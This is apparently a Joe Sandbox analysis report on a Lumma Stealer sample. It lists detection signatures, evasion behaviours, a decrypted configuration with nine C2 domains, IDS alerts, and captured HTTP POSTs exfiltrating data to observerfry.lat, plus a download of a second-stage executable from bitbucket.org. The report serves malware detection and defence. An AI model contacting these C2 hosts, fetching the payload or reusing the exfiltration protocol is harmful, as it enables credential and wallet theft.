Edit tour

Windows Analysis Report
yuij5p5p3W.exe

Overview

General Information

Sample name:	yuij5p5p3W.exe renamed because original name is a hash value
Original sample name:	90a5c9ecb3dd06dc17eee5a4f87cff94.exe
Analysis ID:	1580270
MD5:	90a5c9ecb3dd06dc17eee5a4f87cff94
SHA1:	14a84ccc746a879018c52a063cca4065c515cdcb
SHA256:	e98e5f996acfc1a2941e3326bfd72e414b36228bcf4d4e139f4ed05668093621
Tags:	exeuser-abuse_ch
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for sample

PE file contains section with special chars

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Detected potential crypto function

Entry point lies outside standard sections

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

One or more processes crash

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Searches for user specific document files

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

yuij5p5p3W.exe (PID: 7108 cmdline: "C:\Users\user\Desktop\yuij5p5p3W.exe" MD5: 90A5C9ECB3DD06DC17EEE5A4F87CFF94)

WerFault.exe (PID: 7132 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 7108 -s 2016 MD5: C31336C1EFC2CCB44B4326EA793040F2)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["manyrestro.lat", "slipperyloo.lat", "tentabatte.lat", "shapestickyr.lat", "observerfry.lat", "curverpluch.lat", "talkynicer.lat", "bashfulacid.lat", "wordyfindy.lat"], "Build id": "LOGS11--LiveTraffic"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000003.2368635519.000000000076A000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2370285504.000000000076A000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: yuij5p5p3W.exe PID: 7108	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: yuij5p5p3W.exe PID: 7108	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: yuij5p5p3W.exe PID: 7108	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Process Memory Space: yuij5p5p3W.exe PID: 7108	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Click to see the 2 entries

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-24T08:35:31.710814+0100	2028371	3	Unknown Traffic	192.168.2.5	49724	104.21.36.201	443	TCP
2024-12-24T08:35:33.985345+0100	2028371	3	Unknown Traffic	192.168.2.5	49732	104.21.36.201	443	TCP
2024-12-24T08:35:36.872895+0100	2028371	3	Unknown Traffic	192.168.2.5	49743	104.21.36.201	443	TCP
2024-12-24T08:35:39.325820+0100	2028371	3	Unknown Traffic	192.168.2.5	49751	104.21.36.201	443	TCP
2024-12-24T08:35:41.732551+0100	2028371	3	Unknown Traffic	192.168.2.5	49757	104.21.36.201	443	TCP
2024-12-24T08:35:44.413846+0100	2028371	3	Unknown Traffic	192.168.2.5	49764	104.21.36.201	443	TCP
2024-12-24T08:35:46.913720+0100	2028371	3	Unknown Traffic	192.168.2.5	49770	104.21.36.201	443	TCP
2024-12-24T08:35:51.849164+0100	2028371	3	Unknown Traffic	192.168.2.5	49786	104.21.36.201	443	TCP
2024-12-24T08:35:54.186817+0100	2028371	3	Unknown Traffic	192.168.2.5	49792	185.166.143.50	443	TCP
2024-12-24T08:35:56.698510+0100	2028371	3	Unknown Traffic	192.168.2.5	49800	54.231.128.9	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-24T08:35:32.734252+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49724	104.21.36.201	443	TCP
2024-12-24T08:35:35.077672+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49732	104.21.36.201	443	TCP
2024-12-24T08:35:52.624764+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49786	104.21.36.201	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-24T08:35:32.734252+0100	2049836	1	A Network Trojan was detected	192.168.2.5	49724	104.21.36.201	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-24T08:35:35.077672+0100	2049812	1	A Network Trojan was detected	192.168.2.5	49732	104.21.36.201	443	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-24T08:35:40.295308+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.5	49751	104.21.36.201	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: yuij5p5p3W.exe

Avira: detected

Found malware configuration

Source: yuij5p5p3W.exe.7108.0.memstrmin

Malware Configuration Extractor: LummaC {"C2 url": ["manyrestro.lat", "slipperyloo.lat", "tentabatte.lat", "shapestickyr.lat", "observerfry.lat", "curverpluch.lat", "talkynicer.lat", "bashfulacid.lat", "wordyfindy.lat"], "Build id": "LOGS11--LiveTraffic"}

Multi AV Scanner detection for submitted file

Source: yuij5p5p3W.exe	Virustotal: Detection: 48%			Perma Link
Source: yuij5p5p3W.exe	ReversingLabs: Detection: 60%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: yuij5p5p3W.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 00000000.00000002.2629226042.0000000000821000.00000040.00000001.01000000.00000003.sdmp	String decryptor: bashfulacid.lat
Source: 00000000.00000002.2629226042.0000000000821000.00000040.00000001.01000000.00000003.sdmp	String decryptor: tentabatte.lat
Source: 00000000.00000002.2629226042.0000000000821000.00000040.00000001.01000000.00000003.sdmp	String decryptor: curverpluch.lat
Source: 00000000.00000002.2629226042.0000000000821000.00000040.00000001.01000000.00000003.sdmp	String decryptor: talkynicer.lat
Source: 00000000.00000002.2629226042.0000000000821000.00000040.00000001.01000000.00000003.sdmp	String decryptor: shapestickyr.lat
Source: 00000000.00000002.2629226042.0000000000821000.00000040.00000001.01000000.00000003.sdmp	String decryptor: manyrestro.lat
Source: 00000000.00000002.2629226042.0000000000821000.00000040.00000001.01000000.00000003.sdmp	String decryptor: slipperyloo.lat
Source: 00000000.00000002.2629226042.0000000000821000.00000040.00000001.01000000.00000003.sdmp	String decryptor: wordyfindy.lat
Source: 00000000.00000002.2629226042.0000000000821000.00000040.00000001.01000000.00000003.sdmp	String decryptor: observerfry.lat
Source: 00000000.00000002.2629226042.0000000000821000.00000040.00000001.01000000.00000003.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000000.00000002.2629226042.0000000000821000.00000040.00000001.01000000.00000003.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000000.00000002.2629226042.0000000000821000.00000040.00000001.01000000.00000003.sdmp	String decryptor: - Screen Resoluton:
Source: 00000000.00000002.2629226042.0000000000821000.00000040.00000001.01000000.00000003.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000000.00000002.2629226042.0000000000821000.00000040.00000001.01000000.00000003.sdmp	String decryptor: Workgroup: -
Source: 00000000.00000002.2629226042.0000000000821000.00000040.00000001.01000000.00000003.sdmp	String decryptor: LOGS11--LiveTraffic

Source: C:\Users\user\Desktop\yuij5p5p3W.exe

Code function: 0_2_008358D5 CryptUnprotectData,

0_2_008358D5

Source: yuij5p5p3W.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 104.21.36.201:443 -> 192.168.2.5:49724 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.36.201:443 -> 192.168.2.5:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.36.201:443 -> 192.168.2.5:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.36.201:443 -> 192.168.2.5:49751 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.36.201:443 -> 192.168.2.5:49757 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.36.201:443 -> 192.168.2.5:49764 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.36.201:443 -> 192.168.2.5:49770 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.36.201:443 -> 192.168.2.5:49786 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.166.143.50:443 -> 192.168.2.5:49792 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 54.231.128.9:443 -> 192.168.2.5:49800 version: TLS 1.2

Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 4x nop then mov word ptr [eax], cx	0_2_00841A10
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 4x nop then cmp word ptr [edi+ebx+02h], 0000h	0_2_00860340
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 4x nop then mov byte ptr [ebx], al	0_2_0084D34A
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 4x nop then movzx ecx, byte ptr [edx+eax]	0_2_00843B50
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 4x nop then mov eax, ebx	0_2_00847440
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+09AD4080h]	0_2_00847440
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 4x nop then mov edi, dword ptr [esi+30h]	0_2_0082CC7A
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx-16h]	0_2_00860D20
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 4x nop then mov edx, ebx	0_2_00828600
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 4x nop then mov ecx, eax	0_2_00842E6D
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 4x nop then jmp edx	0_2_00842E6D
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 4x nop then movzx ecx, byte ptr [edx+eax]	0_2_00842E6D
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax-16h]	0_2_00861720
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 4x nop then mov byte ptr [ebx], al	0_2_0084C09E
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 4x nop then mov eax, ebx	0_2_0083C8A0
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 4x nop then movzx esi, byte ptr [esp+eax-000000BEh]	0_2_0083C8A0
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 4x nop then movzx ebx, byte ptr [esp+edx+0Ah]	0_2_0083C8A0
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax-2E3D7ACEh]	0_2_0083C8A0
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 4x nop then mov ecx, eax	0_2_0083D8AC
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 4x nop then mov ecx, eax	0_2_0083D8AC
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 4x nop then mov esi, ecx	0_2_008490D0
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 4x nop then mov ecx, eax	0_2_0083D8D8
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 4x nop then mov ecx, eax	0_2_0083D8D8
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 4x nop then mov byte ptr [ebx], al	0_2_0084E0DA
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 4x nop then mov byte ptr [ebx], al	0_2_0084C0E6
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 4x nop then mov edx, ecx	0_2_0083B8F6
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 4x nop then mov edx, ecx	0_2_0083B8F6
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 4x nop then push esi	0_2_0082C805
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], 385488F2h	0_2_00842830
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 4x nop then movzx esi, byte ptr [esp+ecx+04h]	0_2_0085C830
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 4x nop then mov byte ptr [edi], al	0_2_0084C850
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 4x nop then mov byte ptr [edi], al	0_2_0084B980
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 4x nop then cmp dword ptr [ebx+edi*8], 385488F2h	0_2_0085C990
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 4x nop then jmp edx	0_2_008439B9
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 4x nop then movzx ecx, byte ptr [edx+eax]	0_2_008439B9
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], 385488F2h	0_2_008481CC
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], 385488F2h	0_2_008489E9
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 4x nop then mov ecx, eax	0_2_0084D116
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 4x nop then mov byte ptr [ebx], al	0_2_0084C09E
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 4x nop then movzx ebx, byte ptr [esp+ecx-16h]	0_2_00861160
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 4x nop then mov eax, dword ptr [00866130h]	0_2_00838169
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 4x nop then cmp byte ptr [esi+ebx], 00000000h	0_2_0084B170
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 4x nop then mov ecx, eax	0_2_0084D17D
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 4x nop then mov ebx, dword ptr [edi+04h]	0_2_0084AAC0
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 4x nop then movzx ebx, byte ptr [edx]	0_2_00856210
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 4x nop then cmp dword ptr [ecx+ebx*8], 385488F2h	0_2_0085CA40
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 4x nop then lea esi, dword ptr [eax+00000270h]	0_2_00828A50
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax-6E2DD57Fh]	0_2_0083EB80
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 4x nop then add eax, dword ptr [esp+ecx*4+24h]	0_2_008273D0
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 4x nop then movzx ecx, word ptr [edi+esi*4]	0_2_008273D0
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], 385488F2h	0_2_008483D8
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 4x nop then mov ecx, eax	0_2_0083C300
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 4x nop then mov edx, ecx	0_2_00838B1B
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax+0Ah]	0_2_0082AB40
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], 385488F2h	0_2_00834CA0
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 4x nop then movzx edx, byte ptr [eax+edi-74D5A7FEh]	0_2_0084C465
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 4x nop then mov byte ptr [ebx], al	0_2_0084C465
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 4x nop then mov word ptr [eax], cx	0_2_0083747D
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 4x nop then mov word ptr [edx], di	0_2_0083747D
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 4x nop then mov edi, ecx	0_2_0084A5B6
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 4x nop then movzx esi, byte ptr [ebp+eax-46h]	0_2_0085EDC1
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 2213E57Fh	0_2_0085CDF0
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 4x nop then movzx esi, byte ptr [esp+ecx-3ECB279Fh]	0_2_0085CDF0
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 2213E57Fh	0_2_0085CDF0
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 4x nop then cmp dword ptr [ebp+ebx*8+00h], 7F7BECC6h	0_2_0085CDF0
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 4x nop then mov byte ptr [ebx], al	0_2_0084DDFF
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 4x nop then mov edx, ecx	0_2_00846D2E
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], 385488F2h	0_2_00848528
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 4x nop then dec edx	0_2_0085FD70
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 4x nop then movzx ecx, byte ptr [esi+eax+61765397h]	0_2_0083B57D
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 4x nop then mov edx, ecx	0_2_00849E80
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax-16h]	0_2_008606F0
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 4x nop then mov byte ptr [ebx], al	0_2_0084DE07
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 4x nop then dec edx	0_2_0085FE00
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 4x nop then mov dword ptr [esp+20h], eax	0_2_00829780
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 4x nop then jmp edx	0_2_008437D6
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 4x nop then mov ecx, eax	0_2_0084BF13
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 4x nop then mov edi, dword ptr [esp+28h]	0_2_00845F1B
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 4x nop then jmp eax	0_2_00849739
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+20h]	0_2_00847740
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 4x nop then mov word ptr [eax], cx	0_2_00836F52

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:49724 -> 104.21.36.201:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.5:49732 -> 104.21.36.201:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49732 -> 104.21.36.201:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49724 -> 104.21.36.201:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.5:49751 -> 104.21.36.201:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49786 -> 104.21.36.201:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: manyrestro.lat
Source: Malware configuration extractor	URLs: slipperyloo.lat
Source: Malware configuration extractor	URLs: tentabatte.lat
Source: Malware configuration extractor	URLs: shapestickyr.lat
Source: Malware configuration extractor	URLs: observerfry.lat
Source: Malware configuration extractor	URLs: curverpluch.lat
Source: Malware configuration extractor	URLs: talkynicer.lat
Source: Malware configuration extractor	URLs: bashfulacid.lat
Source: Malware configuration extractor	URLs: wordyfindy.lat

Source: Joe Sandbox View	IP Address: 104.21.36.201 104.21.36.201
Source: Joe Sandbox View	IP Address: 185.166.143.50 185.166.143.50

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49751 -> 104.21.36.201:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49764 -> 104.21.36.201:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49732 -> 104.21.36.201:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49743 -> 104.21.36.201:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49770 -> 104.21.36.201:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49786 -> 104.21.36.201:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49792 -> 185.166.143.50:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49724 -> 104.21.36.201:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49800 -> 54.231.128.9:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49757 -> 104.21.36.201:443

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: observerfry.lat
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 53Host: observerfry.lat
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=O1KYGPIXF5QUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 12799Host: observerfry.lat
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=CDJ5JPK7JMX4MTSZEYUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 15083Host: observerfry.lat
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=8SE67PQNIXHOHUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20543Host: observerfry.lat
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=ERN2LK4RWMGP2QUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1248Host: observerfry.lat
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=GZQJ9R1R083AQUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 552247Host: observerfry.lat
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 88Host: observerfry.lat
Source: global traffic	HTTP traffic detected: GET /mynewworkspace123312/scnd/downloads/FormattingCharitable.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: bitbucket.org
